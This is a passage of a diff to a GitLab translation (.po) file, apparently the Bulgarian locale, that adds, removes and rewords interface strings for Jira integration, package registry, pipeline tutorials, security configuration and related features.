-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr "План за Ñхема"
msgid "Pipeline Schedules"
msgstr "Планове за Ñхема"
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "Общо:"
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
